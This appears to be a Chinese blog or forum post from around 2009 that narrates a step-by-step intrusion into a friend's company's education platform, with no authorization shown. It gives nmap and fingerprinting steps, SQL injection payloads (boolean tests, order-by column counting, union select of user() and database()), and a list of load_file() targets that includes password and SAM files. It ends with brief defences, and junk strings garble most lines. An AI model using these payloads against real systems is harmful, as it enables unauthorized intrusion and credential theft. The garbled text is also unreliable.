题记:7 X) h6 k) t& q
一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……
& Q* x' N+ l6 j$ \$ S7 O7 X. j( W第一步:获取需要的信息" {: ?$ _$ w, T# w4 v
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
" |2 y( G: P/ t( S9 W注:以下为保护特用XXX代替敏感信息
( Q( ^; u$ R u: {/ X: Q7 Z! v顺手先PING了一下他们的域名:
5 _& Q( [. \' D8 kping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)
6 k8 _% T' ~6 x1 p+ r9 f. e9 F: `64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms# P2 Q0 g! q' b; H; }
顺便了解一下TTL,学好基础知识才能一路顺风:, X g9 V( ^: n. ?, U
TTL:(Time To Live ) 生存时间- w; _8 }/ m2 G x( B) c/ q1 y. i
指定数据包被路由器丢弃之前允许通过的网段数量。4 N, c1 F3 v, S( ^2 I
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。6 p! e& T% Z: r+ [* r
使用PING时涉及到的 ICMP 报文类型
0 j* m5 c J" j% @) \! g一个为ICMP请求回显(ICMP Echo Request)
+ U3 J7 L' ~7 v3 w一个为ICMP回显应答(ICMP Echo Reply)9 g3 }4 Y- {! {3 s' Q) r1 M" e: @3 q
TTL 字段值可以帮助我们识别操作系统类型。
7 G7 D3 z' P4 ^) p5 H. ]( SUNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
% B4 z9 ~9 L: ]0 Z8 r! |- `* X) jCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 645 A9 \) E+ y, b C: Y
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
* r" [* i0 B. f+ d微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 323 q* w5 h6 k. `5 l2 Z
当然,返回的TTL值是相同的" h! {$ f- z- v) j, M, U3 A: a
但有些情况下有所特殊. @2 o/ ^% q; c" w+ j b* N& c
LINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 64$ B. z' U2 h* G! y8 p/ v2 l
FreeBSD 4.1, 4.0, 3.4;
7 q( k. Q$ t0 ]* _. MSun Solaris 2.5.1, 2.6, 2.7, 2.8; t- B* o1 b* H/ z
OpenBSD 2.6, 2.7,8 q' M) H0 q& v/ V5 W4 a" G1 U
NetBSD" n* t5 [- W! X7 [; R$ P) K; g
HP UX 10.20
p) r6 U8 o* O) o4 L+ `6 CICMP 回显应答的 TTL 字段值为 255
8 L# @: P) y5 U+ UWindows 95/98/98SE* Z- x$ F# z3 X7 X# P* e# u
Windows ME
# o5 w9 g5 w l3 ]9 ^! uICMP 回显应答的 TTL 字段值为 320 ]5 ]# f, D+ G1 D) Z2 M) p0 ?+ _
Windows NT4 WRKS0 F8 g8 W: i+ G+ Z
Windows NT4 Server
! u" S7 K+ B- c* sWindows 2000+ O/ I7 \2 r) `9 N, P
Windows XP
v$ _- p; g$ h/ \$ GICMP 回显应答的 TTL 字段值为 128
) u- E) |- |2 R: N3 P8 _# \这样,我们就可以通过这种方法来辨别操作系统
) A; n* V) |* E9 Y+ ^TTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255* z; F; d+ Y8 H% H& G3 q
用NMAP扫描一下:( w- W% [' N- V' n2 E h; E
nmap -sT -O XXX.XXX.XXX.XXX
* G* F$ G- z# }如果没有装WinPcap则会弹出提示:
1 _4 G) S9 A+ }! ^( Y2 m8 z1 tWARNING: Could not import all necessary WinPcap functions. You may need to upgr2 ^* g/ [$ j* [4 |9 D8 c; c
ade to version 3.1 or higher from http://www.winpcap.org. Resorting to connect(* T% A* k! ^4 \5 N" t1 y
) mode — Nmap may not function completely8 A( I$ ]* H" D- {' t B7 M
TCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher* \- ~- S8 x* P2 Q9 O0 O
and iphlpapi.dll be installed. You seem to be missing one or both of these. Win
7 w) _* Q- T8 q4 x+ a. ^2 Xpcap is available from http://www.winpcap.org. iphlpapi.dll comes with Win98 an# [8 ]( f2 A' x t
d later operating sytems and NT 4.0 with SP4 or greater. For previous windows v8 i. M0 J0 F. `. R* h+ _5 v* q
ersions, you may be able to take iphlpapi.dll from another system and place it i: X0 v& O1 i5 ]; o/ i" B# J
n your system32 dir (e.g. c:\windows\system32).
0 L0 q: W, T) y9 L6 S; _: L! ?QUITTING!
+ N- _4 r* \9 z2 s" r到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
. w% J: U" F G+ U安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:1 A7 n& A& m; ?4 V1 u* `7 @: [$ W7 B
Interesting ports on XXX.XXX.XXX.XXX:2 f) s' G! Z1 _+ n& U
Not shown: 986 closed ports& [) s5 y. ~( B
PORT STATE SERVICE
7 Y& B1 d3 C' A# |21/tcp open ftp! h' N S# e. |* P, y3 E! E" O
22/tcp open ssh
( X8 G5 G# H8 H; h N; m23/tcp open telnet
5 p9 F5 }- _- Y. r* E80/tcp open http
0 b4 t+ a4 z# X8 \1 I$ j5 p/ t111/tcp open rpcbind
7 C' l- f0 \0 X$ M135/tcp filtered msrpc# [% J9 y9 N3 _0 Q! D& B
139/tcp filtered netbios-ssn
3 ?- \' `. s0 H# l5 o' w445/tcp filtered microsoft-ds9 @0 R T% n) ]& R1 H+ B
513/tcp open login
; a) {) N& E5 w- i9 m, n1 U514/tcp open shell
/ _; B1 x3 j ~3 ~7 s1 ]5 y" y593/tcp filtered http-rpc-epmap
, ]! _ h% @2 K! w1 b' y1720/tcp filtered H.323/Q.9313 G/ R; R2 w9 d1 ~
3306/tcp open mysql
( d6 R. e, A2 V7 i$ Q! l% H4444/tcp filtered krb524
( `$ C# l) Y! L4 yDevice type: WAP; Z2 j: K; H' G% a- n
Running: Linux 2.4.X
0 [# `, \& I+ l1 n! VOS details: DD-WRT (Linux 2.4.35s)/ W0 P3 r; U9 M( R; [
Network Distance: 13 hops
, c* X$ r- ^, I0 m/ F$ c# x看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:! N/ f3 `$ m* R. \" t1 F
login as:; v. G" \- l0 ~* L4 ?1 H: l
Telnet23端口也是开着的,用telnet 命令链接一下:
1 O: m4 B) `2 Utelnet XXX.XXX.XXX.XXX: O" i X# S2 A5 m: [4 N
提示:# }( c" t" A! s. n! X
Red Hat Enterprise Linux Server release 5.2 (Tikanga)
2 d6 n! F! c' ?4 k$ \Kernel 2.6.18-92.el5PAE on an i686
% N; q3 F" S. ^+ Y" C' z# Hlogin:
# z' J# V9 | i. F获取HTTP头信息:; M* v+ w4 B6 L% d' C' P
在本地执行如下PHP代码
$ T: M9 [" g1 y0 `1 f& j; F<?php! u6 w; C0 }5 W- o8 n# Y) D
$url = ‘XXX.XXX.XXX.XXX’;
9 ^4 k0 P# O, R0 s: Z) Pprint_r(get_headers($url));
7 c+ v/ v% M5 s& [2 b+ e3 T# \$ ?print_r(get_headers($url, 1));
! J8 v# S2 ?6 v" i/ I?>
4 U9 q) o8 D* A! P' o将以上代码保存为PHP文件,执行:! O+ V4 I$ \3 L! n' V$ ]
Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )
8 ^4 s g0 H% M, g现在可以得出结论:
( ~9 G( `0 R) W5 y. r8 a) g系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)8 @* X: o4 p5 t, z9 @0 K
内核版本:Kernel 2.6.18-92.el5PAE on an i686
: p6 c8 U" D$ N" Q9 [WEB服务器版本:nginx/0.7.617 K7 i4 c2 r0 B [- @0 D) ]
第二步,开始测试寻找漏洞/ X3 C2 u, w7 @4 R7 ~, h
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
3 z: @3 y% y( J1 y- e& v4 {1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的4 |, W6 N2 ^: q, w1 ~% M
2、测试方法:在地址后加 and 1=1 和 and 1=2 测试) U- e4 b4 u/ F
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常( D' c, N+ a* Y2 j
http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误
) f3 q4 j9 b& |& }- j% v+ }! m恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续5 Z3 t8 w r0 S) l
3、手工注入:
7 L* n5 I7 s7 G" `& Y. T. n注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。" ]2 r7 N% s! r$ C8 G: A# w
3.1 猜测当前表字段数
1 @9 h3 T! f6 u6 J# t4 Jhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10: x1 I+ Y4 n v, o, N
此处猜测有个简单的算法,都是有技巧的吗,呵呵
$ {" I! d. _1 z, m3 Y# d算法简单如下:4 V2 s/ D' \! c; n5 j
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;, ]0 z0 w1 E' h( f
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
. q& O. P0 e7 k# {3 [7 K% d需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。% \ B! ~3 ^! i. c: P. f# D" s
以此来判断,是否过界,配合取中算法猜出字段数。1 | K- j( w& n' R- Y4 P
举例:
8 d$ t" D/ _+ z+ r4 M8 xhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常7 E4 Q! A% F2 [7 n: Y, B" R' Q" b# p
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误
) p9 T0 J. c' Z; a1 B' R9 Q8 d此时3则为我们要找的字段数。# g1 _4 T0 H- e |! e0 k
3.2 配合union联合查询字段在页面所位置0 A5 c7 w2 O# A3 p- i
我们已经知道了字段数为3,此时则可以做如下操作:
- E, s; h$ u7 \" `# r. j' Xhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
( p0 b/ n5 @& b4 L6 e5 H1 l
7 a% z1 ?2 l) _, Q6 P这样就可以测试到哪些字段在页面上有所显示了,如图:# |, J$ S7 Q$ o7 D% @/ w/ P
: w& j2 F/ m% h& r' ~6 W
3.3 查敏感信息
) p# [8 y7 F2 O6 w- U5 @9 X这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。4 M- Y8 V3 a3 Q2 o
http://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()
2 P& p- H3 ?; f. _7 k0 k! d3 l3.3.1 先查数据库用户、数据库名,以备后用,如图:
- r0 \. a% m! l; h
4 H, r+ a! V& k0 \0 t: t; |6 x得到数据库用户为root、数据库名为DBxx;, n z& G. z {: J3 J7 K4 b7 H4 k7 N
3.3.2 查配置文件# t& A* r& `+ x# J' ^2 H( g/ B- p
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。4 R2 q1 T* g4 J1 N) i7 H
查看文件有一定的条件限制:* N! {1 C/ i9 G+ y- M! M" ` f, Y
欲读取文件必须在服务器上% y# R# m! e3 t2 z" N
必须指定文件完整的路径
) P) N5 |: P0 E+ I+ V! Y' d必须有权限读取并且文件必须完全可读
8 D2 T0 H. d) P5 v- t0 t5 W8 i( U欲读取文件必须小于 max_allowed_packet
' z% e$ W6 f$ Y, K% h/ r( XMYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。& f) ]7 t% o+ o& G9 L' {
常用的一些:
) r- |5 K$ H$ }" |$ E6 i* {' u! B/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件5 S7 K" ~' M8 M' H
/usr/local/apache2/conf/httpd.conf
% o( C$ V6 l- s3 J/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
W _3 i1 Z4 v+ t+ V/usr/local/app/php5/lib/php.ini //PHP相关设置& G2 |+ ?' Z- `3 X* C/ s, S
/etc/sysconfig/iptables //从中得到防火墙规则策略8 c/ Y+ d9 u$ B2 e7 y
/etc/httpd/conf/httpd.conf // apache配置文件
( O5 X& C4 X8 k/etc/rsyncd.conf //同步程序配置文件: q3 c7 S* I/ A& V
/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.
1 V7 A& n& p5 O0 t' i2 f3 h+ V/etc/my.cnf //mysql的配置文件
* R7 S3 V Z/ s3 c. P; N/etc/redhat-release //系统版本& G4 ]3 c. }5 H- `' ?# b% Q z
/etc/issue, t8 F- G% v& Y
/etc/issue.net
1 d" J2 D r0 }- Hc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
5 L, e8 r0 Z1 A* A7 T+ Vc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
" M' K& `1 r) uc:\Program Files\Serv-U\ServUDaemon.ini
$ s1 ?2 [/ ?6 o8 Lc:\windows\my.ini //MYSQL配置文件
9 D& g0 S0 q* `$ ~c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件; h& I |( Z4 g% G
等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,0 _* x$ [6 u$ @
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码3 v. \3 }' S. Q/ x. m; d* e1 W! ?
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此6 L4 r8 c; k& h! b8 j" S
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
" n5 V; B5 M0 ?/ s2 FC:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
) O* @( l! s5 y# a//存储了pcAnywhere的登陆密码
) P* R# v0 A) \* C- K6 w6 S) L由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
5 Q5 B2 r3 ?) {$ V9 [这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
% Z1 q. |) h) J- v最后:防范措施
; A: o3 {* {% _' E1、修复PHP注入漏洞;) b6 v/ R6 C- M! H
2、Mysql使用普通权限的用户;1 a' u1 _, R( h; _- x# n `0 N
3、升级linux内核至最新版本; |